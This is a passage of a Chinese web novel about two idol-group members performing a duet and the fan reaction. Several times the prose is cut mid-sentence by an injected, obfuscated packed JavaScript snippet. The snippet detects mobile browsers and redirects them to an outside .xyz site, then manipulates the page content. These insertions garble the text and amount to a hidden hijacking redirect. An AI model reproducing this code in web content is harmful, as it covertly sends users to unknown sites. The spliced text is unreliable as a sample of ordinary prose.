“啊,无所谓啊,”乔亦打断了他的发言,“当年不就是放一起的吗,那会不都不知道哪件是谁的,我当初 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532597|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来收拾行李……” 乔亦的话说着说着语速放慢,接着戛然而止。 再往后说就是他们都避之不谈的跑路事件了——而乔亦此时此刻显然还没有做好给他全盘交代的准备。 应时月心想,无论这人是否是故意的——或者说大概率就是故意的,但大家各自卡壳一次,也算是扯平了。 “那我就先走了,有点晚了,先不打扰你,”乔亦于是生硬地转换了话题,又笑了一下,“明天见。” “明天见。”应时月说。 而直到乔亦的身影消失在楼梯间,应时月关上房门,才骤然想起,这人虽然说着要出门,但实际连个包都没背。 ——这说明,即使出门是真的,乔亦也需要再回一趟宿舍,而并非他消息中的“顺路”。 不过不顺路归不顺路,出门倒真有可能是真的。 应时月估计着时间够他上一趟六楼再下楼,于是站到了窗边。 果然,几秒之后,乔亦的身影出现在了宿舍楼门口——他依旧两手空空,走向街角停着的一辆黑色的车,拉开副驾驶,坐了进去。 应时月收回了视线。 * 后来几天,他们的私下排练依旧正常进行。 乔亦不仅要学unit,还要学后面几首大歌——应时月顺便也就接下了这份教学和纠错的任务,加之观众的期待值因此上升,那他们排练时间就更长了一些。除了有公演的周末两天外,其他日子都是晚上十点左右才回去。 因为时间太晚,于是顺理成章地,两人往往都是一同回宿舍。 不再需要有人主动提议,而是彼此都心照不宣。 乔亦已经买好了新电动车,同样是自己做了涂装,浅蓝色的车身,上面有几道橙色的线条和三角。 上次一同上班之后,没过几天,停车棚里的废弃非机动车居然还真消失一空。应时月问了问,从乔亦那里得到了“我去和物业反映了一下”的答案。 但他知道,能做成这事,肯定不是“反映一下”这么简单。 又要买车、涂装新车,又要解决停车场的问题,每天早九点进练习室晚十点出来,也不知道哪来的这么多时间——应时月在心中想着,似乎已经忘记了在过去的四年里,自己也无数次被身边人如此评价。 42. 速成战损妆 在如此平淡的进程中,时间来到了10月20号。 明明只是一场普通的公演,却因为早早“被官宣”的阵容变动,而有了点不那么普通的意味。 应时月在剧场门口看到了好多个他和乔亦的双人应援易拉宝,他在微博首页刷到过,这些都来自于复活不久的时亦应援会。 如今远在另一座南方城市的明宸,似乎也是在首页刷到了相关返图。他给应时月转了个链接,并发来几串文字。 明宸: 【好多人啊好热闹啊】 【看来我不在反而让公演热度提升了】 【这么看来,可能L队确实不是很需要我吧】 【伤心.jpg】 应时月没搞明白为什么这人突然开始茶里茶气,于是先没回复,而是将这几句话转发给了乔亦。 转完之后才反应过来,自己这个行为好像太顺手了——按照他们如今的相处模式,这并不是他应该做出的行为。 应时月坐在后台的沙发。乔亦刚在稍远处帮一个小后辈缝演出服——那人的演出服似乎破了个口子,与可能的第一印象不符的是,乔亦这人很擅长做各种针线活,于是自告奋勇帮他处理。 而如今,应时月发完消息抬头,刚好看见乔亦将解决好问题的衣服递给小后辈,接着就顺势坐在了对角处的另一张沙发上。 然后他从口袋里摸出手机,看了看屏幕,开始打字。 意料之中地,过了十几秒,应时月就收到了回复。 乔亦发来了一张截图,是他和明宸的聊天框。 乔亦: 【[明宸的聊天记录]】 【知道了,你说得对,你可以转去K队】 【那边会给你你想要的热度】 明宸: 【???】 【你好恶毒啊!】 应时月抬了抬手,用手机遮挡住自己的表情,又一度笑了出来。 * 跳第一首大歌的时候,应时月就更直观感受到了今天台下观众的成分变化。 第一排的观众还是举了应援旗,这次的标语换成了“时亦公演快乐”——一句表面看不明所以,但含义所有人都知晓的话。 现场的cp粉多得非常空前。 以至于说到第一段大MC,台下给他们的call词的都带上了对方,就像是现场没有唯粉一样。 ……当然某种意义上也可以理解。 如果要给链团观众做一个集体画像,那“爱嗑cp”一定是写在第一条的。唐言和陆语心不同队,纪荇和暂休半年,这几年的小后辈热度尚且不足,L队如今正处于一个没有同队大势cp能让所有观众一起起哄ky的地步。 如果说首演那天,观众们还有一点点对他们本人态度的观望在,如今接收到并不存在明显厌恶或反感的正主回应后,“时亦”在这件事上就顺理成章首当其冲。 应时月举着话筒讲自己的MC话题,没有转头看左手边的乔亦。 但粉丝们会给他们造势,倒也不是什么坏事。他一边说,一边心想。 说完大MC,他们就快速下场,准备unit曲。 落霞的服装是仿战斗制服的,但并非规规整整突出气势的风格,而是比一般制服偏长一点、且更偏向于战损风。衣服上有类似血迹渲染开或是被溅射的设计、也有几处被用刀割开的不规整的口子、下摆还有断裂的痕迹——订做的时候,这套衣服还是完好的,后续的改造都是纪荇和的手笔。 前者用的是从贺景然那里借的颜料——当然这事没有告知明宸,后者则是他自己划的。 此刻大部分成员还在台上,后台人不太多。 后台其实有专门的更衣室,但没几个,人多的时候大家一般都没空排队等,人少的时候干脆也懒得去。他们更多时候就在挂演出服的那一片就地换装,刚好挂起来的衣服就能作为遮挡——公演期间,后台监控都会关掉,换成有工作人员在唯一的出入口驻守。 应时月系好腰带,敲了敲金属衣架,没有得到“再等等”之类的回应,于是便从衣架区域转了出来。 乔亦此时此刻在往衣领上别身份牌,但目光却没有盯着自己的指尖,而是一动不动地停留于应时月身上——毕竟是制服风格的演出服,自然有一些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532598|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 类似勋章、身份牌之类的配件。按照惯例,不同人上这个舞台,都会换上独属于自己的身份标志。 乔亦要比明宸高一点。明宸说过好几次有点偏长的衣服,套在他身上刚刚好,匀称到就像专为他定制的一样。 当然这话不能给明宸本人说,否则这人估计又得来一句“看来确实不需要我”。 应时月收回目光,坐到乔亦旁边的化妆镜前,打开放在桌上的、贴了TeamL标志的L队公用口红。 这种舞台往往都会搭配简单的战损妆。留给他们更换妆造的时间并不多,也没有化妆师给他们打理,所以成员们所做的,往往只铺一层底色,再用口红涂上几道痕迹,用化妆笔做一做调整,就算基本完事。 这口红还是纪荇和买的。结果因为色号太适合画战损,于是第一次打开还没来得及用,就被光速充公。 “我这里还有个很合适的颜色,”应时月对着镜子观察的时候,听见旁边乔亦说,“你要来点吗?感觉在眼睛旁边加几道短伤口会比较好看。” 应时月侧过头看了他一眼。 乔亦比他动作快,这时候已经算是完成了整体妆造。 对上应时月的目光,他晃了晃手上的眼影盘,又伸手指了指鼻尖的那道伤口:“像这样的。” 确实是有点特别的颜色。应时月想。 他和乔亦都是肤色偏白的类型,而且是晒不黑的那种白——曾经有年夏天在海边拍MV连拍了三天,到最后一天,好几个队友都开玩笑说,要离这两个人远一点,不要拍合照,免得被拉踩。 如今,在头顶灯光的照射下,乔亦的面容变得有点……说惨白比较合适。而他所指的那道伤口,反而有一点超脱冰凉背景的暖色调意味在。 乔亦没有直说,但应时月知道他想说什么。 这个颜色……就像是被落霞照耀过的色彩般,和他们这首歌再搭配不过。 “可以啊,”应时月点点头,对着他伸手,“我试试。” 乔亦却眨眨眼,绕过应时月伸出的手,从桌上拿了支化妆笔,然后低头看他:“节省时间——你闭一下眼,一分钟就好。” 43. 落霞时分 应时月愣了愣,脑子里一瞬间闪过无数种情绪,最后还是依言闭上了眼。 然后他感受到乔亦冰凉的手指落在自己眼角,像是在进行某种上色工程——接着,这份触感替换成了无机质的笔尖。笔刷移动的速度很快,下手比应时月本人要果断得多。 “好了,”如同他自己所说般,乔亦的操作非常快速,大概还不到一分钟,“你自己看看?” 应时月闻言,睁开眼。 乔亦半蹲在他身侧,此刻刚好仰起头看他,两人目光相对,这人对着他扬了扬嘴角。 应时月没有回以笑容,倒是见他头顶上的一撮头发不自然地翘了起来,便很自然伸出手,将其按平。 ——直到收回手的一瞬间,他才意识到,从乔亦的视角来看,这很像是顺手摸头,而并非是整理发型。 ……因此有点奇怪,各种意义上。 他张了张嘴,想要解释,但乔亦就定定地看着他,就像是没有感受到这份触感般——如此再解释,那就未免有些欲盖弥彰了。 只不过,乔亦的无知无觉百分百是装出来的,于是应时月叹了口气,决心反客为主:“……我感觉你想笑——想笑就笑吧,别忍着。” “我知道我头发乱了,”乔亦像是得到了指令一样,还真笑了起来,一边笑一边说,又补了一句,“我没有乱想。” 应时月心念一动。乔亦这句话也很刻意,刻意到就像是主动接过了“欲盖弥彰”的罪名一般,毫无道理、但放在这个人身上,却又来得自然而然。 于是他最后只“嗯”了一声,毕竟,当下有更值得关注的事。 比如说——接着他抬起头,看镜子里的自己。 右眼眼角向下的位置被画出两道交错的、一长一短的、倾斜的伤口,伴随着周边很多细小的擦伤痕迹。 按理来说是容易会让人显得有些脆弱的画法,但放在如今的整体妆造和故事背景之上,反而添了一分决绝之感。 “看着还不错。”应时月实事求是评价一句。 “那就好,”乔亦又笑了起来,视线投向后台入口的方向,“我们好像可以去准备上场了。” 应时月随着他的目光偏过头,正看到唐言走进来——唐言的solo是最后一个unit,所以在大MC,他也是滞后的位置。 这说明此时此刻前台已经没有人了。在经历短暂的布景后,就需要他们上台。 “嗯。”应时月于是点头,然后站起身。 * 应时月刚踏上前台的一刻,台下就响起了今天至此刻为止最为激烈的呼声。 乔亦同他一同上场,走的是另一边的通道——刚好印证在这首歌所对应的故事背景里,他们一开始处于的对立位置。 当然,明宸和纪荇和跳这歌跳了一年,到中后期,早就不管这个背景故事了。 准确说来,他们在不断编新的故事、背景和人物关系底色,以制造全新的观感,防止观众的审美疲劳。 但如今,应时月不过是跳这首歌的第五场,乔亦更是首演。经过简单的商量,他们便决心回归到最基础的那个设定中去。 舞台顶部的灯光还没有亮起。 应时月看不清乔亦如今的神色,但能透过观众席间的昏黄影绰灯光,识别到乔亦正在看向自己。 他们从不同的方向走向舞台中心,但没有相遇。最终只相隔着不远不近的距离,然后背对而立。 灯光同前奏一并奏响,台下的call词也随之响起。 这歌并不像多数链曲那样,注重台上偶像与台下观众的互动性。与之相反,它更接近于是只属于两个人的表演、如同一场舞台剧一般。 它的call词也只出现在表演的开场部分,后续很难再插入。 ——或许是因为仅此一段,又或许是因为表演者是他和乔亦,所以这段打call的声音听上去尤为壮观。 随着这几年的人气下滑,应时月已经很久没有听到过如此大的声量为自己响起了。 在那一瞬间,他居然感觉到了一点点不习惯——或许乔亦都比自己更习惯,毕竟这人曾经离开时正处于偶像生涯的巅峰时期。 想太多了。应时月心想。 他轻微摇了摇头,让自己不要再思考这些有的没的,而是将注意力集中到舞台之上。 然后心中默数倒计时,三、二、一。 台下call声与应时月脑中的倒计时同频终止,接着两人同时转身,面向对方。 应时月向前伸右手,扯住乔亦的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532599|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 领口,向着自己的方向一拉——两人的距离骤然被缩小,在半明半暗的舞台灯光之下,应时月看着近在咫尺的乔亦对自己露出了一个浅淡的笑容。 这当然是舞台计划之外的内容,这并非是一次性的舞台,也不是真正的舞台剧,他们再怎么编排,都不可能对表情都加以严格安排和限制。 于是应时月感觉自己被这计划之外的笑晃了一下,因而产生了片刻的恍惚——即使乔亦经常都是笑着的,但沉浸于舞台的限定敌对立场之下,如此的笑容便包含了一些不同的意味。 下一刻,应时月感觉自己的右手腕被抓住,接着是腰间感受到一阵攻击的力度——实际上很轻,但他还是弯了弯腰,做出了被重击的反应。 接着便是松开手,重心下压,踢腿,开始反击。 这段开场的模拟近身作战,多的是临时发挥的内容——每次看这十几秒怎么“对打”,也是观众们的乐趣之一。 但让观众们感到些许意外的是,前奏将至尾声,两人并没有如同一般的演绎方式那样,拉开距离,形成对峙状态,而是—— 在本应该各自后退一步时,乔亦却伸手按住应时月的后颈,硬生生止住了对方的退后之势。 这是编排之外的动作。应时月心中闪过片刻的意外,近在咫尺的乔亦冲他眨了眨左眼。 虽然不太想承认,但应时月几乎是第一时间,就明白了对方的打算。 于是他很配合。在背光的一侧,远离观众席方向的左手沿着乔亦的腰际向前滑动,最后精准地关上了乔亦别在后腰上的耳麦开关。 指尖划过的瞬间,隔着一层并不算薄的演出服,应时月感觉到乔亦轻微的颤抖——不知道是因为痒还是紧张。 但面向观众的那一面,这人的动作却非常果断,果断到不像是临时起意,而是早有编排一般。 两人之间距离再度被极速缩短,到几乎接近于零。 近到似乎能感知到彼此激烈的心跳声,应时月在那一刻心想。 乔亦微微低头,凑近应时月的耳麦话筒,然后在前奏的终点处开口——他的第一句唱词,被缠绕于应时月身侧的电流清晰地放大,接着流淌向整个小剧场。 又很快汇入台下略有滞后的、铺天盖地的声浪之中。 44. 共赴黎明 往后才是回归正轨、或者说回归标准模式的舞台。 乔亦唱上一句词的声音,似乎还在剧场舞台上引发微弱的回声,与台下久不止息的呼声交错重叠,应时月已然条件反射般接上了自己的那段唱词。 接着他们才分开,各自走向舞台的两端,再度相对而立。 新一轮的“作战”一触即发—— 应时月从腰间摸出早早准备好的道具短刀,上抛再接住,在手上流畅地转了个圈,对着乔亦的方向做出攻击的动作。 乔亦则像是被击中般,后退两步,并抬起手中短剑发动反击。 这段隔空战斗,本身是没有道具的。 明宸和纪荇和这两位有十几年舞龄的队友,更倾向于将这段互相不肢体接触、远距离演绎近身战斗的表演,作为他们炫技的平台——而应时月和乔亦显然并不长于此。 那两人所选择的那些高难度的动作,如果一定要选一个复刻,多花点时间练习,应时月也不觉得他们完全不行——至少他自己是可以的。只是,这首歌的强度已经够高了,也并不需要重复其他人的呈现模式、在这方面给自己上强度。 作为应时月和乔亦版本的落霞,显然需要更多属于他们自己的东西。他们更擅长的是剧情、是情绪、是花里胡哨的表现和高度的配合。 台下的cp粉显然对此非常买账。 当年的两个人虽然被打包骂歌舞双废,但在乔亦跑路之前,他们也确确实实留下过不少粉丝津津乐道的双人舞台——时亦cp粉里,舞台粉不是主流,但比例也不算少。 而两人的对战,止于伴奏中嵌入的一声鸟鸣。 在故事背景里,污染与天灾剥夺了生存的土地。人类进入庇护所,而未能与之同行的动植物则如同所有末世设定中那样,无可避免地发生了异变。 他们如今所身处的,是距离庇护所不远的相对安全区域。 多年过去,变异的动植物已不太常见,因此人类阵营之间的斗争,才能压过“共同抵御自然”的需求,成为刻入年轻战斗者DNA的本能。 而如今,台上的灯光闪烁着化为深蓝色,昭示着夜幕降临。音响中的风声伴随着雨声,气象环境的骤然变化,标志着他们必须要尽快处理眼下的问题。 意料之外的、来自自然界的敌人,推动着本处于对立面、分别受伤且脱队的两人选择并肩作战。 在所有unit里,《落霞》所讲述的时代,是最靠近《穿越时间》这首公演大背景的。这首歌的故事发生于第二次天灾的起点,在此之后,庇护所被摧毁,人类停止已形成惯性的内斗和对立,回归统一状态,他们不再选择只求自保,而是所有人团结起来,共同与自然对抗。 而这只从庇护所上空略过的变异飞鸟,以及它与两个临时合作的年轻战士的对战,则印刻着这一转折的开端。 他们这回不再是面向而立,而是彼此背对。 这一段的编舞是完全中心对称的。 在练习室练习的时候,四周有镜子,他们可以通过观察和调整,确认彼此之间的动作是基本同频的、也是基本围绕既定中心点的。但身处于舞台上,在这段漫长的快一分钟的编舞里,应时月和乔亦只会在加起来两三秒的回身时间里,短暂看到彼此。 如果只是原地跳舞,那问题不算太大,毕竟两人听到的音乐都是同一首。而问题就在于,这首歌的编舞里包含了大量的非原地跳跃、大跨步和旋转——与此同时,地面上却不会有任何指导走位的线条和符号。 曾经有两个小后辈跳这首歌,就是跳到最后完全偏台,往舞台一侧整整移动了一米多。 当然,半小时后,这事就成为了他们在MC2里的话题之一,台下观众笑过之后,也不会真的对他们如此苛刻——但放在如今的流量中心应时月和乔亦身上,他们无论如何,都必须避免这类情况的发生。 应时月定了定神,心想。 同乔亦短暂背靠背的时候,在背向观众的方向,应时月感受到这人曲起某根手指,在自己的手背上轻轻敲了三下。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532600|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 应时月做了个不明显的深呼吸。 在出道的第二年,Link的第一套公演中,那首双人unit换了几组阵容,他和乔亦也跳了好多场。 那会队里设备并不算好,耳返往往不能做到完全隔音,台下call声明显的时候,他们总是会受到影响,导致彼此间对不上拍子——当然,经历了八年的舞台经验积累,如今的应时月已经习惯、也能毫无障碍地只戴单边耳返上场了。 他也确实经常这样做,用来听台下的声音。 当年那首歌,肢体接触不少。所以他们约定了一个小动作,用三次敲击的结束,来代表下一个动作的触发。 而如今,两人早就不再需要这样的暗号,但应时月还是条件反射般,响应暗号的速度快于合音乐的拍子,在第三次敲击落下的一刻,同乔亦向截然相反的方向转身走位。 半边耳返中传来伴奏声、和乔亦唱歌的声音,另一只耳朵所捕捉到的,则是无数喧闹的集合——而应时月总归要承认,这种喧闹与安静的交杂,如今早已是最让他安心的环境。 即使在这般喧闹、这般耳返和现场的二重回声中,他没有回头,不能确认如今舞台搭档的位置、同自己的距离、是否有出错,也不能仔细辨认来自台下的各种声音、无法知晓观众们的评议。 但舞台本身,就是一个无论如何都应该相信自己与同伴的地方。 正一如歌词所述,年轻人统一战线,彼此交付,对抗来自未知的敌人,再一同迎来新一天的晨曦。 “——而我将与你,共赴黎明。” 舞台的收尾是两人背靠着坐在舞台中央,应时月唱完最后一句词,放下话筒,余光瞥见乔亦靠观众席的那只手撑在身侧,于是将话筒换了个手,再将自己的右手叠放上去。 乔亦手指弯了弯,好像有点意外,但又很快平静下来。 而应时月闭上眼,摘下另一只耳返,听台下为这个小动作又激烈了几分的应援声。 直到舞台上的灯光彻底熄灭。 45. 十年后 应时月和乔亦是从不同方向上台的,但下台却得走同一个方向。 很奇妙地,在走回后台换衣服的这一小段时间里,两人一句话都没有说。 ——自己不说话正常,但一般来说,乔亦在这种场合下应该主动找点话题。 应时月心想。这总归是有点反常,大概是距离上一次双人舞台已经过去太久了,多少有些不适应和别扭感——虽说身在Link,成员们对于嗑cp和被嗑cp都习以为常,但MC环节和台下有来有回的交流、和只能被单向审判评价的双人舞台,总归是有些不一样的。 而这种不约而同的沉默,终止于第三个人的出现。 林茗予坐在后台出入口附近看手机,或许是听到声音一抬头,见到来人,便急匆匆按掉了本来亮着的手机屏幕,接着便站起身,不知道准备去哪,也可能只是单纯起身——他的unit也比较靠后,现在还不至于候场。 应时月已然看到了他手机屏幕上的页面,只轻轻笑了一声,就当没看见。 “小予,你这么爱这版公演吗,”倒是乔亦主动开口,语气装得非常无辜而迷茫,“居然在后台看直播诶。” 应时月这回没忍住,笑了出声。 林茗予张了张嘴,看上去是想要说什么反驳的话,但估计是想了会没想出来,干脆就一转矛头:“怎么了,你们能跳我不能嗑啊?我不仅要嗑我过会还要去MC上说呢。” “你一定要说啊,”乔亦的声音带着笑,他从饮水机前转身,将装满水纸杯递到应时月面前,“说了十月会感谢你的,我也会感谢你的。” 应时月愣住的片刻已经条件反射般接过杯子。于是他就干脆先喝了口水,才抬起头反驳:“我不是,我没有。” * 在后台等再次上场的间隙,应时月有过一瞬间想要打开论坛,看看他们刚刚的舞台的实时风评,不过想了想,还是忍住了。 ——后面还有个MC3要一起上场,如果到时候不小心顺口说了什么论坛的新梗,又要被开贴说“十月这么迫不及待公演途中就开始监视粉圈动向了”,这总归是不太好。 今天的MC3第一段主题,倒并不是更常见的游戏连发,而是一个投稿主题“表演大家在十年后聚会的场景”。 “十年后?”唐言扭过头看了看大屏幕上的文字,然后转身说,“搞不好十年后我还在这跳公演呢。” 对于成员们选择何时毕业或退团,Link是没有特别限制的。 ——至于在流程上算“毕业”还是“退团”,取决于跑路是否和平体面、以及在团排名够不够高两个因素。像喻疏一,稳定总选前几名,又是因为学业这种客观的原因、跑路之后也不会混娱乐圈,那就算正常“毕业”,那年夏天还给他办了轰轰烈烈的毕业公演和毕业巡演。 一期生入团时,签的合约是七年制,七年之后则是两年一续,理论上可以一直续下去。 但一般来说,观众和成员们都默认的是,即使要一直续,也最多只续到三十岁前后——剧场唱跳偶像毕竟是青春饭的行业,再喜欢再有热情,也不能做一辈子。 当然,至今为止,成员们还没有迎来第一次大规模的毕业潮。 目前队里现役成员中,年纪最大的是陆语心,明年年初就会满26岁;最小的是K队今年招的新人,刚过12岁生日。 从全团视角看,应时月毫无疑问也是Link的哥哥line。但鉴于前面还有陆语心和贺景然给自己打样,因而他其实还没有太考虑过毕业之后的事。 出道八年,归来也就才22岁,小伤有、但身体也没什么大毛病,无论怎么说,都还能再做很多年偶像。 ——于是很不巧,在“十年后”的个人设定方面,应时月就卡壳了片刻。 “那到时候我就来剧场看公演,顺便接你们下班,”乔亦倒是接话很快,“回去再翻出微博,发一张合照,配文‘同Link传奇成员唐言合影一张’,赚点不知道对我有没有用、但一定可以给观众朋友们带来些乐子的流量。” “你还惦记你的流量呢!”唐言笑。 乔亦这话,倒也是模糊了他给自己所塑造的“未来身份”。但应时月突然就有点好奇,这人对自己的未来应该如何规划。 ——换在四年前,如果有人问应时月这个问题,他的回答应该是,乔亦大概率会在本科毕业后退团,出国读博,最后留在国外的某所高校,光速拿到tenure,然后开始自己新的人生探索。 一条除了做兼职偶像这个小小人生拐点以外、怎么看都是再标准不过的路径。 没想到,最后选择这条路径的,是应时月本以为会一直在娱乐圈发展的喻疏一,而乔亦却反其道而行之,出国 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532601|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读了本科,然后回到了Link。 于是一切的构想都必须推翻重塑。 而且听这人的口气,似乎还有继续留在观众视野中的可能性。 台下的观众也有人明显get到了这点。那人大概是乔亦的粉丝,于是在下面喊了一句“小乔毕业后别急着光速消失啊”。 “怎么可能,我就算要滚出娱乐圈,也不会消失的,”乔亦笑着对观众席说,然后又重复一遍,“我以后都不会消失的。” 至今为止,从Link离开的成员里,彻底退出观众视野的其实是少数。 留下来的人里,有些去演戏,有些自己做独立偶像,有些流连于各种综艺中;有人做了幕后,但偶尔会出现,有人做网络博主,也有人做地偶。出路形形色色。 只是应时月并不敢说,这些选项中,存在或不存在某条是他所想要选的。 他本科学的是电子。当初选专业时,他身上还承担着给哥哥提供长期治疗费用的负担,想着挑个出路好的工科专业,就算从Link离开了,也能比较容易找到能赚钱的工作——后来没有这个需求了,应时月就不得不承认,他确实对这个专业没什么特殊感情。 说不上讨厌,但也不喜欢,更不想将其作为未来的生活中心——当然,应时月也知道,等他从链团毕业的时候,那份过时文凭大概率也没什么用了。 而抛开本专业后,他更广阔的世界的剩余认知,几乎就与Link绑定了起来——离开家之后,应时月在新世界的绝大多数人格塑造,其实都依赖于队里的生活。 但总有一天,他必须要换一个视角去看世界。到那时候,才有“未来选择”可谈。 台上乔亦和唐言开始插科打诨,应时月才意识到自己联想了太多——其实放在台面上,接续话题实在是再简单不过的一件事了。 “那我说不定正在哪加班呢,”应时月说,“到时候得你们来接我下班了。” “公演完了你还在加班,那这公司也太没人性了吧!”唐言于是笑着开始入戏。 又有小后辈接话:“说不定十月前辈的加班费比我们工资还高呢。” “那小月哥哥请吃饭吗?”乔亦也跟着问了一句。 怎么还真演上了。 应时月心想,然后开玩笑:“都说是聚会了——怎么你脑子里只有吃饭啊?” 46. 宿舍瓜 大家都笑了起来。 但其实,放在台前的、幻想中的场景大概率并不会发生,这点所有人都心知肚明。根据无数其他团前辈的经验,十年之后,别说聚会,他们这群人都有联系都说得上是奇迹。应时月心想。 就如同粉丝们经常在论坛说,大多数男团成员之间,无论表面上看上去多亲近,到偶像生涯结束后再回头看,其实都是普通同事。 当然,这话对也不对。 应时月出过不少外务,也接触过一些非剧场闭环环境下的常规偶像团体,又或者是选秀限定团成员,对他们的人际关系有一定观察。其间麦麸协议很多,但真情流露也不少,其中不乏后续解散、再无交集、被粉丝大喊“原来你们确实不熟”的。 大多数人际关系就是有阶段性的,在做队友的时候可能是真的还不错,毕竟这群人就构成了生活的全部,不好好相处无异于是给自己找罪受。 但物理的距离一旦被打破,同甘共苦的处境受到改变,精神上的共鸣也自然很容易不复存在。L队这些年来来去去这么多人,真的退团后还和大家保持积极联系的,也就一个喻疏一。 更别说应时月在学校的那群同学。 十年之后,台上的人里,又有多少会和自己不成为陌生人呢?应时月不由得心想。 就算是和乔亦、在四年再往前,他都没有试图讨论过这个问题——更不用说是现在。纵然重逢之后的乔亦说过“不会再走”这样的话,应时月也不得不说,在他的潜意识里,乔亦身上已然充斥着不可捕捉的、雾一样的色彩。 应时月眨了眨眼,让自己不再乱想。 然后举起话筒,同其他人一样,再度加入台上的讨论之中。 * 晚上回宿舍后,应时月才总算打开论坛,看粉丝们对今晚舞台的评价。 不出意外,首页最多的就是对他们那个双人舞台的讨论,几乎占据了论坛的半壁江山,刷屏一样的。 应时月挑了几条点进去,又注意了一下发布时间。 早一点的、他们直播那会发的帖子基本都是嗑cp的,到后来嗑cp的同时、也多了些夸舞台本身的,说他和乔亦配合特别默契、显得两个人水平都被拔高了一大截的——当然这下面有应时月粉丝的反驳,说这人还停留在四年前的版本,如今歌舞双废的只有一个人。 他又顺着帖子的链接点进视频网站。unit结束后没几分钟,就有好几个up主都上传了舞台录屏,如今热度最高的一个,只用了短短两个小时,就有了二十万的播放量。 放在大up主、或者内娱顶流身上,是很一般的数据。但在Link这种并没有巨大路人盘、粉丝也没有刷播放量习惯的地方,应时月很少见这阵仗。 估计全网搞链团的观众今晚都在看这视频了。 应时月犹豫了片刻,还是点了进去——主要是想着从第三视角审视一下,看看有没有什么需要修改的部分。 毕竟他们还有七场要表演。 而事实是,这场表演的效果比他的预期还要好上一些。 应时月本以为在那段没有预先排练的动作发生时,会出现片刻的不协调;又或者是在他们无法彼此确认走位和节奏的副歌段里,可能有不那么同频的段落——但视频所传递给他的信息是,这些所谓的担忧,其实全都很多余。 画面协调到让他觉得有点恍惚。 比如说在某几个片段中,如果不是弹幕疯狂地刷屏提醒他,应时月都不知道自己有些无意识的小动作。 他也说不清是巧合,还是在舞台上的本能。 但实话说,看论坛那种真情实感夹杂阴阳怪气、再混入一点粉丝打架的讨论,应时月尚且可以保持旁观者的心态,这种全是清一色夸奖和大嗑特嗑的弹幕,看久了多少还是有点让人头皮发麻。 所以他只看了两遍——一遍开弹幕,一遍关上,接着就退回了论坛。 而当应时月准备关上app时,首页又刷出来了一条新帖子。 【主题】宿舍瓜,听说11这回还是要做室友 主楼:如题,大家应该都知道下周搬新宿舍,我也是才知道这个瓜 消息保真,来源我不能说 3L ?啊?? 4L 今年是2023年吗 7L 为什么你们好像很惊讶的样子,看这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16532602|186412||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几周的公演11现状这不是很理所当然的吗 12L 回复7L:哪里理所当然了 众所周知公演台上是一个仇人都能相亲相爱的地方,台上的一切都不做数 16L 